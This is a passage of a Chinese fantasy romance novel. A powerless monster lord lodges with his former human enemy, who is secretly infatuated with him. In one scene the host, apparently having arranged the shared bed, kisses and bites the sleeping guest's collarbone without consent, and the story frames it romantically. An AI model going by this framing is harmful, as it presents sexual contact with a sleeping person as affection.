晏深舒服地泡了个澡,全身都透着清爽,他将头发擦干,换好睡衣走出浴室。
肖闻笛正在主卧收拾被褥。
黑色战斗服已经被换下,取而代之的是一件墨蓝色的居家睡衣。
晏深低头看了看自己身上的这件,款式类似,只不过是不同颜色的黛青。
然而原主人合身妥帖的睡衣,穿在他的身上格外宽松,晏深觉得自己整个身体都在里面空空地晃荡。
两相对比,他不禁好奇:究竟肖闻笛是长了多少肌肉,才能撑起来这种尺寸的睡衣?
晏深探究看去,恰巧肖闻笛收拾好床铺抬起头,二人目光在半空相碰。
晏深:“………”
要不要这么巧……
肖闻笛似是没注意到他的意图,面色如常地询问:“你习惯睡左侧还是右侧?”
“?”
晏深看向床面,只见一左一右各自摆放着一套枕头和被子。
……这是什么情况?
肖闻笛面露抱歉:“客房的门突然打不开了,现在家里只有一张床,你不会介意吧?”
晏深:“………”
主卧的床很大,比他在深渊里的石床要大两倍还不止,睡两个人绰绰有余。
介意倒是不介意,但是……
谁会和与死敌同床共枕啊!这和睡在断头台旁有什么区别?!
只是想象一下,晏深就如芒在背:“客房在哪里?或许我可以试试能不能打开。”
“这边。”
肖闻笛神情没有丝毫不悦,只是作为主人恪尽职守地走在前面带路。
客房的房门紧闭,晏深伸手握住门把手,反复尝试几次后,不得不承认确实打不开。
门锁里好像有什么部位坏掉卡住了,完全按不动。
“还有别的客房吗?”
“没有。”
晏深又将目光投向客厅,退而求其次:“我也可以睡沙发。”
“可以。”
肖闻笛配合地回身去卧室取被褥,晏深松了一口气,虽然沙发睡起来比较局促,但也总比真的和死敌同床共枕的好。
他走过去坐在沙发上。
“嘎吱——”
一声不详的脆响。
晏深还没来得及反应,下一瞬间,整个人已经跟着沙发陷了下去。
“砰!”
与此同时,客厅响起脚步声。
在一片狼藉中,晏深抬起头,正撞进沙发主人那片苍灰色的眼眸中。
“………”
晏深
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尴尬地扯起嘴角:
“我好像……把你的沙发坐塌了。”
*
沙发的横梁断掉了。
千年难遇的小概率质量事故,就这么让晏深遇到了。
肖闻笛检查完情况,还他清白,却也无奈宣告:“修不好,只能换新的。”
今天天色已晚,家具店早已关门,最快也要明天才能处理。
晏深讷讷点点头。
也就是说,他今晚只能和肖闻笛一起睡在主卧。
“………”
其实和死敌睡一张床也没什么……
没什么……
没什么……
没——
晏深骗不了自己。
这可太有什么了!
他躺在床上,眼睛瞪得像铜铃。
属于肖闻笛的气息缠绕在身侧,呼吸清晰可闻。
在过去的任何时间点,这都是难以想象的一幕。而如今,却又切切实实地发生了。
月光透过轻薄的窗帘洒进卧室,渲染出柔和恬静的氛围,与曾经鲜血剑戟交织的记忆互相冲突,让人一时分不清现实还是虚妄。
眼角余光里,肖闻笛闭目沉睡,呼吸平稳,似乎已经睡着多时,银色的月光打在他的侧脸上,晕染出一层朦胧的光晕。
黑色的发梢垂在额前,半遮住的眉形英气而舒展,像是巍峨远山的轮廓,那双冷然如山巅雪的眼睛静静闭着,整个人少了几分凛然的冷冽,多了几分亲近的柔和。
晏深不得不承认,自己的这位死敌长得很好看,不同于他偏中性的风格,肖闻笛的长相更有男子气概,攻击性也更强。
像是一把出鞘的利剑,带着锐利的锋芒。
这一点在战斗中格外明显,而在日常生活中,这把利剑又藏入剑鞘,沉稳而内敛。
——这也是晏深今日发现的,身处怪物视角难以窥见的,属于肖闻笛的另一面。
他的脑海里开始浮现关于肖闻笛的记忆碎片,如幻灯片闪过……莫名的,最终画面定格在那双修长匀称的指节上。
粘稠的,淡白色的液体沾染在指间。
晏深呼吸一窒!
为什么会想到这个?
他拍了拍脸颊,甩掉乱七八糟的思绪,然后翻个身裹紧被子。
月亮已过半空,困倦侵袭而来,精神上的防备终于抵不过身体的疲劳丢盔弃甲,慢慢的,晏深陷入沉睡之中。
过了不知多久,昏暗的房间中,苍灰色的眼眸掀起,眼底是全无半分惺忪的澄澈清明。
就像是……
一直在默默地等待此刻。
9. 独占
月光下。
肖闻笛侧眸看向床上另一侧的人。
纤瘦的身影蜷缩着,背脊的弧度随着清浅的呼吸一起一伏,墨色的长发铺洒在二人之间,辗转反侧的顾虑终于在熟睡后归于平静。
肖闻笛伸出手,指尖缠绕上那层层叠叠的墨色发尾,眼眸深沉似海。
“不要总是抗拒我。”
低声的呢喃像是水滴坠入湖面,荡起一片片细微的涟漪,又因为过于细小的动静,而无人察觉。
肖闻笛心绪复杂。
虽然他早已设想好了应对方案,但当晏深真正提出查看客房门锁和睡在沙发上时,他还是不可控制地涌起落寞和酸楚。
他就那么让人讨厌?
就连简单地睡在一张床上,都那么让人难以忍受吗?
眼底的幽暗越来越重,直至原本浅淡的苍灰色都被染上深邃的晦暗,如万丈渊薮,深不见底。
几个呼吸之后,肖闻笛轻轻坐起身。
皎洁的月光下,熟睡的人再也没有了清醒时的提防与戒备,整个人透着可以肆意接近的松弛与慵懒。
睡前裹紧的被子已经松开,露出前襟V型的领口。
晏深穿着的睡衣本就尺码偏大,睡着后无意识的动作让领口敞得更开,纤细的锁骨几乎完全暴露在深夜的空气中。
而他睡得深沉,对外界发生的事情全然无知无觉,更不会知道,此刻的风光全部都被曾经的死敌收入眼底。
肖闻笛眼睛微眯。
片刻后,他动了起来。
宽阔的脊背遮盖住月光,熟睡的人陷入彻底的黑暗。
可能是光线突然变化的影响,晏深翻了个身,平躺在宽阔的大床上。
床铺因为二人的重量交叠而凹陷,在床面留下一个明显的痕迹,而在其之上,肖闻笛双臂撑在两侧俯视着身下的人。
视线如有实质。
从眉眼,鼻梁,再到唇瓣……直至落在那片衣领半遮下雪白裸露的肌肤。
凸起的喉结滚动,肖闻笛的嗓音喑哑:“欠我的可以先攒着,但……”
他停顿一瞬,目光暗沉,纠结缠绕,但最终,某些隐秘不可言说的东西占据了上风。
“我要讨些利息。”
黑影沉沉压下,小巧的锁骨被衔住,温热的唇舌覆在其上。
然而熟睡的人全然没有察觉到自己的锁骨正在被另一个男人含在口中,彻彻底底沾染上他人的气味。
晏深的睡眠一如既往地深沉,只在偶尔牙齿划过的瞬间,微微蹙起眉头,又随着齿尖的离开而迅速消散。
月亮从东到西,直到那片如玉般白皙的肌肤,印上密密麻麻细碎的红痕,肖闻笛这才满意地抽身而回。
舌尖卷回口腔,带着心上人香甜的味道,让人食髓知味,回味无穷。
挺括的背影直立在大床上,沉沉俯视着自己的杰作。
像是野兽标记了领地。
簇簇红梅艳丽绽放。
*
晏深睡得正沉。
半梦半醒间,一股被注视的感觉强烈地浮现。
像是被某种野生动物盯上,大到肢体,细到毛发,所有的一切都被纳入眼底,一举一动皆被审视。
他猛然睁开眼睛。
多年战斗的本能让他下意识向着视线的方向轰击而出,同一时间,他恍然记起自己已经失去了全部的力量。
然而意料之外的,窥伺者被击中,一声细小的尖叫响起,又坠落远去。
晏深怔愣收回手掌。
指尖微动,澄澈的水流旋转聚成小球,随着他的意念随意变换着形状。
——是属于他的水系异能。
……力量恢复了!?
胸腔中的心脏雀跃地跳动,但是下一秒,晏深发现了不对。
身体里确实流动着力量的痕迹,但比起从前,犹如一抔清水与万顷汪洋,完全没有可比性。
甚至就在他尝试使用的这几秒之间,那微弱的力量隐隐有枯竭的趋势。
晏深连忙停下了动作。
不过……
纵然微弱,却也透露了一个令人振奋的信息。
——失去的力量是可以恢复的!甚至恢复力量的契机,就在他的身边!
至于契机究竟为何……
时间?休息?抑或是……别的他没注意到的什么?
窗外响起动静。
晏深这才从力量恢复的惊喜中回神,起身探向方才的窥伺者。
细长的丝线从窗沿处向下垂落,一只褐色的小蜘蛛挂在末端,八条毛茸茸的小爪子忙活地捯饬着,正拼尽全力快速返回。
晏深挑起眉头,指尖勾起蛛丝。
世界晃动,小蜘蛛抬起八只复眼的脑袋,颤颤巍巍开口:“大、大人?”
晏深:……嗯?会说话的小蜘蛛?
怪物的分化等级与本体强度相关联,像小蜘蛛这样弱小的存在,应该只是不会说话的低级种才对。
除非……
有智慧种点化。
而如今世上,深渊现存的智慧种,无一不对赫川俯首称臣。
是被派来刺探他情况的?
晏深眯起眼睛,杀意浮现。
小蜘蛛连忙大喊:“大、大大大人!您不认识我了吗?”
晏深一顿:“我们见过?”
仔细看……似乎确实有点眼熟?
小蜘蛛眼泪汪汪:“是您点化的我啊。”
啊?
晏深细细打量,的确从小蜘蛛的身上感受到了自己的气息。
但他本身的力量已经所剩无几,所以这种感应也时断时续,并不真切。
小蜘蛛描述细节:“三年前,在您的巢穴……”
晏深大脑深处的记忆被唤醒。
好像……
确实有这么一件事。
深渊里的怪物数以亿计,即便如此,晏深依旧是罕见的存在。
怪物可以化成人形,但任何怪物都有原形,或狰狞或美丽,或高大或弱小,飞虫鸟兽,怪诞异形,皆有可能。
只有晏深,从有记忆以来,便一直是人形的状态。
与人类的唯一区别,就是那如瀑布般的白发和妖异的紫金色眼瞳。
深渊里的怪物还有交手过的人类,都以为他神秘莫测难以捉摸,多年来对他的原形猜测推理,争论不休,而只有晏深自己知道,他根本就没有原形。
放眼整个深渊,也没有第二只怪物与他类似。
原本晏深对此也没有很在意,只是在三年前的某个午后,他在巢穴里待着实在无聊,一时兴起,便点化了角落里吊着的一只小蜘蛛,让它帮自己查一查。
小蜘蛛爬回窗台,出声纠正:“是小跳蛛……”又眼泪汪汪:“大人,您不会把我忘了吧?”
晏深:“……没有。”
小跳蛛:“……”
您犹豫了!您之前绝对忘记了!
晏深干咳一声转移话题:“查清楚我到底是什么种类的怪物了吗?”
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“……没有。”
“那你回来做什么?”
“我没回来……”小跳蛛委屈吧啦地眨巴着八只复眼,“我还在调查中,是您突然来了。”
小跳蛛好奇地打量房间:“大人,您怎么来人类领地了?还有这是谁家啊?”
“这是……”
晏深的话被突然的开门声打断,客厅里传来交谈声,他连忙把小跳蛛揣进睡衣口袋里,“等会再和你说。”
*
“老大,放在这里啦。”
客厅里,周图跟在肖闻笛身后,把拎着的大包小包放在地板上,起身的瞬间却看见有人从卧室走了出来。
视线顺着抬头的动作从下向上。
雪白的赤足踩在木色的地板上,趾头圆而莹润,泛着淡淡的粉,宽大的睡裤不像本人的,半盖着脚背,随着走动露出若隐若现的白皙,浓密的墨色长发逶迤及腰,映衬着纤瘦的腰肢……
“!!!!”
周图惊愕瞪眼,连忙止住动作,没敢再往上看。
什、什么情况??
老大家里居然有个女人???!!!
中央区无人不知无人不晓,攻掠处负责人肖闻笛冷淡孑然极端禁欲,是赫赫有名的高岭之花,伟岸圣洁不可接近,任凭无数高门贵女争相追逐,也没有一人能近身分毫。
这样拒所有人于千里之外的人,他的家里怎么可能会有女人呢?!
周图严重怀疑自己看错了,但那人又确确实实站在那里。
怎、怎么办?
要当做没看到溜之大吉吗?
就在周图不知所措的时候,那人主动和他打招呼:
“你好呀。”
咦?
声音怎么有点耳熟?
周图讷讷抬头。
终于看清了来人的面貌。
晏深微笑着看着他:“又见面了。”
周图:“……!”
这不是他们从怪物巢穴救回的人类吗?!
听岳宁说所有被救人员都已经被带去安置点安顿了,周图还惦记着失忆的青年孤身一人肯定多有不便,原本打算今天抽空去安置点探望下,怎么一转眼,他会出现在老大家里?
还……穿着老大的睡衣?
周图满脑袋问号,正要开口询问,强势的身影却如一堵墙般挡在面前,隔断了他探寻的视线。
肖闻笛:“你先回去。”
冷然的语调带着命令,还有不容抗拒的威压。
但周图大大咧咧没有察觉到,脑子里只想着要问晏深为什么在这里。
“我——”
“还有事?”
话语被骤然打断,肖闻笛的目光冷冽,犹如一桶冰水兜头浇下。
周图打了个寒战,后知后觉注意到气氛的不对,连忙摇头:“没……没有。”
啊,好可怕。
老大怎么突然不高兴了?
算了算了,改天遇到再问好了。
“那我先走了!”周图立刻开溜。
晏深望着周图的背影消失在门后,略显遗憾。
对于这位友善的人类,他还是蛮有好感的,而且三个人在房间里,总比他和肖闻笛俩人大眼瞪小眼的好。
只可惜事与愿违……
就在晏深暗自感慨的时候,衣领上突然传来拉力,他站立不稳,向前踉跄,扑进硬挺的怀抱。
一抬头,正撞进幽暗的苍灰色眼底。
似有激流翻涌。
暗沉不可直视。
10. 衣服
肖闻笛没想到熟睡的人已经醒来,还光着脚丫毫无防备地出现在客厅。
过于宽松的睡衣敞露着胸前大片的白皙,从俯视的角度甚至能看到凸起的粉嫩,像是一颗水蜜桃味的糖果散发着香甜的味道。
这样的光景就连他都未曾仔细看过,又怎么能让外人轻易看了去?
肖闻笛近乎生硬地遣退了周图,伸手替晏深拢紧衣领,也许是酸妒在胸腔中腐蚀着,他一时用力过猛,纤瘦的人承受不住,向着他踉跄跌来。
那双黝黑的眼睛向上抬起,与他目光相对。
有惊愕,有疑惑,还有……紧随而来想要退开的疏离。
肖闻笛眼底暗潮涌动。
但最终,他放开了手。
“刚睡醒?”
语调淡然,就像是再正常不过的问候。
晏深眨眨眼睛:“……嗯。”
虽然和小跳蛛说了会儿话,但它的存在不能让肖闻笛知道。
他低头看了看自己的衣领,原本敞开的部位已经被拉到一起,严实地覆盖到脖子下方,没有露出一丝多余的皮肤。
唔……
这就是传闻中的极端禁欲者吗,就连临时室友的穿着都要出手管理。
肖·禁欲·闻笛拉起他的手,将他带到餐桌前:“正好我订了早餐,一起来吃。”
晏深目光落在二人相触的手上,不过很快,他就被食物的香气吸引了注意力。
蒸包米糕,清粥馄饨,蛋羹肉饼……各式各样的食物琳琅满目,看起来一个比一个好吃。
深渊里的怪物们习惯饮毛茹血,晏深虽然生在那里长在那里,却一直吃不习惯,而像这种精加工的食物,只有偶尔截获了人类的商队后才有可能吃得上。
而今天能大吃特吃了!
晏深心情很好,他以前机缘巧合下学过用筷子,也幸好如此,在吃饭的过程中并没有露出破绽。
作为东道主,肖闻笛格外绅士地为他夹菜,一开始晏深还有些别扭,但看在美食的份上,他很快就接受了和死敌同桌吃饭的现状。
更何况昨晚都同床睡过了,现在只是面对面坐在一起吃饭而已,问题不大。
这一顿早饭,晏深吃得前所未有的满足,肖闻笛收拾掉餐盒,拎起地板上的一提纸袋递给他。
“新衣服,去试试。”
从深渊里穿来的那件衣服昨晚已经被丢进了垃圾桶,晏深本打算今天出去买些,没想到一早肖闻笛就已经准备好了。
这倒是省了他不懂人类市场采买规矩的麻烦。
晏深对衣服没有太多的要求,以前穿的也都是赫川给他安排的。
赫川挑选的衣服款式多是繁复紧身,规矩板正,颇有股百年前老派贵族礼服的味道。白日里出行还好,可一旦躺在床上,就硬挺挺的很不舒服,所以他在巢穴里经常只穿里衣,但又总被赫川说不够庄重……
“您是怪物之主,深渊之尊,需得做出让万民敬仰的派头来。”
瞧瞧。
看看。
多么一个为主君考虑,直言纳谏的衷心下属。
曾经晏深也是这么觉得,所以纵然他并不信赖深渊里的怪物们,却唯独信重赫川。
谁又能想到,昔日唯一信重的属下,居然背后阴他,不仅害他失去所有力量,还妄图上他。
简直可笑!
肖闻笛:“在想什么?”
晏深回神摇头,接过衣服打开纸袋。
手指愕然一顿。
不是以往那种枷锁般华丽的服装。
绵柔舒适的布料,简约大方的款式,无论是出门还是睡觉,都很合适。
也许是他停顿了太长的时间,肖闻笛询问:“不喜欢?”
晏深摇头:“不是……”
相反,他很喜欢。
如果让他自由采买,也不会再买到更合心意的衣服了。
晏深把衣服从纸袋里拿出来,抬手去解睡衣的纽扣,却在手指移动到第二个纽扣时,被肖闻笛按住了手。
熟悉的嗓音不知为何骤然绷紧,透着几分陌生的喑哑:“你做什么?”
“换衣服啊。”
晏深不解地看着肖闻笛。
这有什么需要问的?不是他把衣服给自己说试试的吗?
肖闻笛喉结滚动,就像是用尽了所有的自制力才说出口:“……去卧室换。”
晏深:……不用这么麻烦吧?
虽然他多少听说过人类礼教严谨又刻板,但那大多都是约束异性之间的,而他们都是雄性,就算是泡在一个池子里洗澡都可以,当下只是换个衣服,完全不用刻意避讳。
“你确定要在这里脱衣服吗?”
肖闻笛沉沉看着他,眼底隐有晦暗的阴云覆盖而上,宽厚的手掌格外有力,压得他指尖微痛。
晏深:“………”
难道他理解错了?就算是同性之间,人类也不能赤诚相对?
他又想起,小跳蛛还在睡衣口袋里,在这里换衣服确实不方便转移它。
晏深决定还是回卧室去换,却在转身的一瞬,肖闻笛按住他的手掌骤然收紧,没有丝毫放开的迹象。
晏深:“?”
不是……
你到底让不让我回卧室啊?
过了一段时间,又也许只是一瞬,肖闻笛收回了手。
“……去吧。”
晏深这才拎起衣服回到卧室,暗自腹诽这人怎么奇奇怪怪的。
他关好房门,下一瞬,口袋里的小跳蛛立刻跳了出来
“大、大人——!”
晏深手掌接住它:“差点把你忘了。”实在是人类的食物太好吃了。
“那些都不重要!”小跳蛛急吼吼地出声,声音又尖又利,但却压得很低,好似生怕被谁听了去,“刚、刚才那人——!!!!!”
“哦,你说肖闻笛呀。”
听到名字,小跳蛛八只复眼同时瞪大:“真是肖闻笛啊!?”
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晏深点头。
下一秒,小跳蛛低声尖叫:“——肖闻笛怎么会在这里??????”
晏深捂着耳朵拉远,解释道:“因为这是他家。”
小跳蛛八条腿一蹬,差点撅过去,更为自家大人云淡风轻的语气惊异不已。
“您、您是说,我们现在正在那位传说中的人类最强、手染万千同胞鲜血的怪物刽子手——肖闻笛家里????!
晏深点点头:“是啊。”
小跳蛛彻底撅了过去,半天才抖着腿,颤颤巍巍爬起来:“我们得离开这里。”
又急匆匆补充:
“现在!立刻!马上!”
正门是不能走了,还好房间里有窗户,12层也不是很高,它能带着大人安全离开。
却没想到晏深摇了摇头:“不,我要留在这里。”
小跳蛛不敢置信:“大人!您是疯了吗?!”
晏深却笑了笑:“你刚才不是问我为什么出现在这里吗?”
小跳蛛讷讷点头。
它确实问过,不过刚才被开门声打断,还没来得及听到答案。
它很好奇,究竟是什么原因,能让深渊里的怪物之主,世上无人能敌的SSS级怪物至尊,屈尊降贵来到人类的城市,还住到了死敌的家里。
小跳蛛殷切地等待着答案。
晏深开口,一字一顿:
“我失去了全部的力量。”
“……?”
小跳蛛一时没有反应过来。
八只复眼同时眨了眨。
几秒后,脑袋终于跟上了耳朵。
“啊???!”
犹如陨石撞击地球,小跳蛛发出尖锐爆鸣,晏深不得不紧急按住它的嘴,这才没有被客厅的肖闻笛听到。
“小点儿声。”
“这是小点儿声的事吗?”小跳蛛急得要跳墙。
难怪!
难怪今早感应到大人的时候,信号非常微弱,原本它以为是距离过远,可一路追寻而来,才几个街区就见到了大人。
原来竟是因为力量丢失造成的。
“怎么会这样!!!?”
小跳蛛不敢置信。
惊诧发问。
晏深简单讲述了赫川对他做的事,小跳蛛越听越生气。
“太过分了!这是赤裸裸的谋逆!是对主上的反叛!无耻!小人!渣滓!”
晏深非常认同,静静等它骂完,然后才继续说道:“我要回到深渊,杀了赫川,夺回属于我的一切。但在此之前……”
“我必须找到恢复力量的方法,恢复全部的力量。”
小跳蛛义愤填膺:
“那我帮您找!”
“不用。”
晏深却拒绝了它。
素白的指尖微动,激流涌起,萦绕盘旋的水球,是比晨起更加强悍的水系异能。
“恢复力量的方法……”
“我已经找到了。”
11. 陪伴
晏深挑起指尖,水系异能汇聚出的水流汹涌激荡,比晨起微弱的水球要强悍数倍不止。
小跳蛛瞪大眼睛:“力量变得更强了?!您真的找到恢复的方法了?!”
晏深点头。
确实。
而且得来全不费工夫。
就在刚刚肖闻笛握住他的手的那一刻,力量顺着二人肌肤相触处流淌而来。
涓涓细流,瞬间滋润了体内的干涸。
小跳蛛神情激动又喜悦:“太好了!我们可以回深渊了!”
晏深却收回了手指:“暂时还不行。”
力量虽有恢复,但距离正常状态还远远不够,目前只能说找到了恢复力量的方法,如果想要回到深渊找赫川复仇,他还得留下来继续恢复一段时间。
“可……”小跳蛛不安地在他掌心转圈圈,“大人,肖闻笛太危险了,您留在他身边,万一在完全恢复前被识破身份可怎么办?”
晏深倒不担心:“我只是暂住在这里,不会与他有太深的接触。”
“可恢复力量的方法不就是……”
“也不一定非得是他。”
晏深想得很清楚,自己离开深渊后,恰巧只和肖闻笛有过肌肤接触,但这并不能说明,恢复力量的方法就是和他接触,或许是个人类就可以呢?
他需要找个机会验证下。
不过当下……
“先不说了,再耽搁下去肖闻笛要起疑了。”
晏深迅速地换好衣服,把小跳蛛揣进口袋里,推开门走了出去。
肖闻笛站在客厅,回身望过来。
那双苍灰色的眼睛中幽深寂静,像是冬日清晨时分破晓的雾霭,泛着清凉的冷冽。
不过下一秒,又仿佛被日光融化,冰雪消融。
“换好了?”
晏深点点头,然后他想到什么,走过去伸出手:“还给你。”
白皙的掌间,静静地躺着一条黑色的细绳。
是昨天肖闻笛临时给他绑头发用的发绳。
原本入城前晏深就想还回去,但他当时被催促着上检测台,又以为只是简单的发绳所以就没有坚持。
但刚才他换衣服的时候,突然发现细绳的尾端,串着一颗金属方块。
金属很小,只比细绳大一圈,通体黑色,但又反射着七彩的暗光,看起来很不同寻常。
这根本不是一根发绳。
而是一条吊坠。
还很有可能是哪种罕见的贵金属吊坠。
晏深觉得还是趁早归还才好。
肖闻笛没有接过,只垂首问道:“你不喜欢吗?”
晏深眨了眨眼:“无所谓喜不喜欢……”
“那便是不讨厌。”肖闻笛打断了他的话,从掌心接过吊坠,然后俯身戴在了他的脖颈上。
黑色的金属反射着太阳的光,更加七彩夺目。
晏深怔愣仰头。
肖闻笛:“送给你。”
*
人类都是这样热情好客,喜欢送礼物的吗?
晏深低头看着自己胸前的黑色吊坠,略显茫然。
自从离开深渊来到中央区,肖闻笛的所作所为总让他丈二和尚摸不着头脑。
不过既然能被如此轻易送出手,想来应该也不是什么太过贵重的物品吧?
既然肖闻笛想送,自己便接着,而无论贵重与否,在离开前再物归原主就是了。
想明白后,晏深也不再纠结。
今日天色不错,肖闻笛提议:“要不要出去逛逛?日用品我买了一些,但也许你还需要添置些其他的。”
晏深点头:“好。”
他需要验证恢复力量的方法,正好借此机会出去接触下其他人。
晏深出门,发现肖闻笛也一起跟了出来。
撞上他的目光,肖闻笛说道:“我陪你去。”
晏深提醒:“你不去处理公务吗?”
“暂时不用。”
晏深:“……”
堂堂攻掠处的负责人,又刚刚从深渊大胜归来,居然还有时间赋闲在家?
肖闻笛看了看时间:“岳宁会在一个小时后汇总报告发给我,所以现在我可以陪你一起去逛街。”
晏深:“……”
倒也不用如此精细地管理时间。
只不过……
这画面似曾相识。
彼时在深渊,管理上的细枝末节从来不用他这位怪物之主操心,每次都是赫川处理好了一一向他汇报,而他只需要坐在靠背椅上,一边吃着新鲜的果盘一边聆听报告就可以了。
没想到人类也是如此。
只可惜,他现在多么希望两个族群能在此刻继续保持着截然不同的做派……
晏深尝试拒绝陪同:“……其实我可以自己去。”
肖闻笛反问:“你认识路吗?”
晏深:“……我可以问。”
肖闻笛又问:“你带钱了吗?”
“……………………………………………………………………”
沉默震耳欲聋。
真是一分钱难倒英雄汉,晏深没有带钱,更没有钱。
而他的面前,只有曾经不死不休的宿敌——肖闻笛。
虽然向宿敌借钱很难以启齿,但……住人家的,吃人家的,喝人家的,现在不过是再添一笔。
等他回到深渊,一定第一时间把这笔账还了,然后再也不用这张脸出现在肖闻笛面前。
——实在是太丢人了!
晏深鼓足勇气伸出手:“或许……”
借钱的话还没有说出口,伸出去的手已经被握在温热的掌间,粗粝的指腹划过手心娇嫩的肌肤,留下一片颤栗的酥麻。
晏深声音一抖。
剩下的话说不出来了。
在此间隙,肖闻笛与他掌心相贴,紧紧相握。
“放心,我带了。”
*
人类的商业街热闹又繁华。
店铺鳞次栉比,人流络绎不绝。
鬼使神差的,晏深没有再拒绝肖闻笛的陪同,只是和死敌一起逛街,难免生出几分别扭感。
谁能想到曾经每次见面都打得昏天暗地的两人,居然能和平地站在一起挑选各类小商品呢?
真是世事无常。
他们穿梭在各个店铺之间。
晏深没打算买太多的东西,可每当他的目光停留在某件商品上超过三秒,肖闻笛便毫不犹豫地让店主打包结账,到最后,店主主动提出送货上门。
晏深甚至都来不及开口阻止。
算了。
都记在账上,等回到深渊后一起结清吧。
还是正事要紧。
商业街上路人很多,只要找到能帮助他恢复力量的其他人类,他就可以远离肖闻笛。
“在想什么?”
就在晏深静静等待机会的时候,耳畔响起低沉的询问,他抬头看向身侧的男人。
也许是人多怕他走丢,肖闻笛一路以来一直握着他的手,温热的触感贴合着肌肤,感觉并不讨厌,但……
谁会和死敌手牵着手逛街?
晏深不着痕迹地想要抽回手,却都没有成功,到最后,竟变成了二人十指相握的姿势。
晏深:“……”
好像有哪里不对?
但是什么呢……
晏深说不上来。
路边的行人大多也都手牵着手,胳膊挽着胳膊,所以……这大概是人类之间一起逛街的习俗?
不理解。
但尊重。
晏深努力乔装成一个合格的人类,但有一个很严重的问题显露出来……
为什么拥挤的街道上,他们周围一个人也没有??!
方圆两米范围内空寂无人,仿若设置了某种无形的屏障,无人能进。
而在两米之外,人们时而擦肩而过,时而接踵并行,全然没有如此间距。
晏深侧眸。
肖闻笛的神色如常,仿佛早已习惯此情此景。
“……”
晏深恍然意识到原因。
高岭之花已经冷冽到如此地步,让所有人下意识保持距离了吗?
察觉到他的注视,肖闻笛垂眸
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:“有事?”
“……没事。”
晏深面上强撑,心里已经哀嚎遍野。
事情可太大了!
有这么一座冰雕立在身边,他根本没有机会接触到其他人!又怎么来验证恢复力量的方法呢?
更糟糕的是……
时间渐渐接近中午,太阳从东升至中空,晏深蹙紧眉头,手掌搭在眉骨上,形成一扇小伞遮挡住过分强烈的阳光。
“晒?”
“嗯。”晏深闷闷点头。
深渊里常年阴湿,鲜少有这样日头热烈的天气,长时间在户外,晒得他皮肤都有些不舒服。
“你在这里等我下。”
肖闻笛带他来到一处树荫下,让他坐在长椅上等待,然后转身没入人流。
随着肖闻笛的离开,周身两米的无形屏障自动消失,几步之外的路人触手可及。
真是意外之喜。
但……
晏深看着与路人同在的炽烈阳光……
啧。
不是很想过去啊。
从前晏深出门惯常黑雾萦绕周身,一方面是想要隐藏惹眼的样貌,另一方面就是遮挡阳光。
每当被强烈的阳光长时间照射,他总觉得自己的皮肤都要爆裂开来,干巴巴的难受。
虽然这并不会对他造成什么直接伤害,但那种生理上的抗拒还是让他下意识躲避阳光的直射。
如今他失去了力量,不能像以前一样随心所欲地召唤黑雾,面对阳光还真有点头疼。
但为了恢复力量……
就算是刀山火海都得去闯一闯,更不论此刻小小的太阳光了。
晏深咬咬牙,站起身。
他踏过树荫,走进人群。
“砰——”
什么东西撑开的声音。
预料中炽烈的阳光并没有落在肌肤上,有什么东西遮挡在头顶,替他挡掉了灼烤。
晏深抬起头。
正对上那双苍灰色静谧的眼眸。
……肖闻笛?
他怎么回来得这么快?
肖闻笛撑着伞,紫金色的伞面荫蔽着二人,在烈日下形成一片难得的阴影。
雾凇般冷然的目光都染上了几分晌午的暖意:“不是怕晒吗?怎么没在树荫下等我?”
“……”
晏深低垂下眼睑。
随着肖闻笛的回归,路人们再次远离了他们的身边,就算他此刻伸出手,也不能触碰到除肖闻笛之外的任何人。
错失了机会,心中不免惆怅,不过他还是勾了勾唇,轻声回道:“我看不到你,所以出来找找。”
晏深不想惹起怀疑,随便扯了个借口,而他没有看到的是,彼时静谧的苍灰色眼底随着他无意识的亲昵话语而泛起涟漪,夹杂着掩饰不住的幽暗狂喜。
但不过一瞬,暗潮停歇。
晏深眉眼间的几分不自然显露着端倪,肖闻笛顷刻间了然。
激动与喜悦褪去,眸光染上暗沉和复杂,不过最终,所有的波动都沉入无人可见的深处,仿佛从未出现。
竹制伞柄被递了过去。
晏深接住,略显茫然地抬起头,无声询问。
肖闻笛言简意赅地说明用途:“可以遮阳。”
厚实的伞面阻挡了大部分的阳光,使得过于灼烤的射线变得温暖且易于接受。
伞面可以收起,单手可持,轻便易携带,很是方便日常使用。
晏深默默打量。
深渊里一切都很原始,从来没有这样的器具。
人类居然还有这样心灵手巧的发明?这不就完美解决了他怕阳光的问题了吗?
他暗自惊叹着。
那张细腻白皙的脸庞上浮起喜悦,那是解决难题后遮掩不住的轻快与自得。
阳光透过伞面浸染出紫金色的暗芒,落在柔美的面容上,映衬着雌雄莫辨、惊心动魄的美丽。
红润的唇角微微翘起,莹润透亮,让人忍不住想要靠近,想要……
将那片唇衔入口中。
鬼使神差的。
肖闻笛俯下身来。
12. 习惯
红润的唇角微微翘起,莹润透亮,让人忍不住想要靠近,想要……
将那片唇衔入口中。
鬼使神差的。
肖闻笛俯下身来。
“谢谢。”
低声的道谢打断了动作,肖闻笛顿在原地,像是撞到了无形的空气墙,难以再进一步。
晏深惊喜地转动着伞柄,阳光透过伞面打下紫金色的纹路,落在那张白皙的脸庞上流转闪烁。
熠熠生辉。
像是最为璀璨的珍宝。
肖闻笛:“……”
复杂的心绪在胸腔中激荡,最终化为一抹无声的自嘲。
只是简单的一颦一笑,就已经轻易勾动了他的心弦,若是有朝一日心上人真的对他说起了情话,自己可如何控制得住?
即便大庭广众之下,他也将捧起那张朝思暮想的脸,将那片惹人心痒的唇瓣细细地舔舐摩挲,直至将原本的颜色染上红艳,如含苞待放的赤色花蕊……
不过……
这一日真的会来吗?
迟钝的人一直没有察觉到他的心意,甚至就连手牵着手逛街都以为是再正常不过的事情,只把他当做需要时刻提防戒备的死敌,生怕身份暴露后被拔刀相向,根本没往别的地方多想。
肖闻笛暗自惆怅。
只可惜他不能和盘托出,任谁能相信曾经的死敌就这样轻易地放弃了一直以来坚守的职责,亲手将可能霍乱人类城邦的怪物之主放到了中心腹地……
但他不后悔。
人类他要守护,心心想念的人他更要留下。
曾经的怪物之主已经失去了全部的力量,变得和普通人别无二致,只要自己将他藏好,便没有人能够识破他的身份。
从此,世间再无人人畏惧的怪物之主,只有普通人类晏深。
*
商业街已经逛得差不多,二人返回家中。
客厅里堆满了送货上门的商品,肖闻笛找到其中一件长方形的盒子递过来。
晏深抬起眼睑,无声询问。
“手机。”肖闻笛把其中的物件取出,长按侧方按钮后,玻璃制成的屏幕亮起动画响起音乐,“我不在你身边的时候,可以用它打电话找我。”
晏深默默接过。
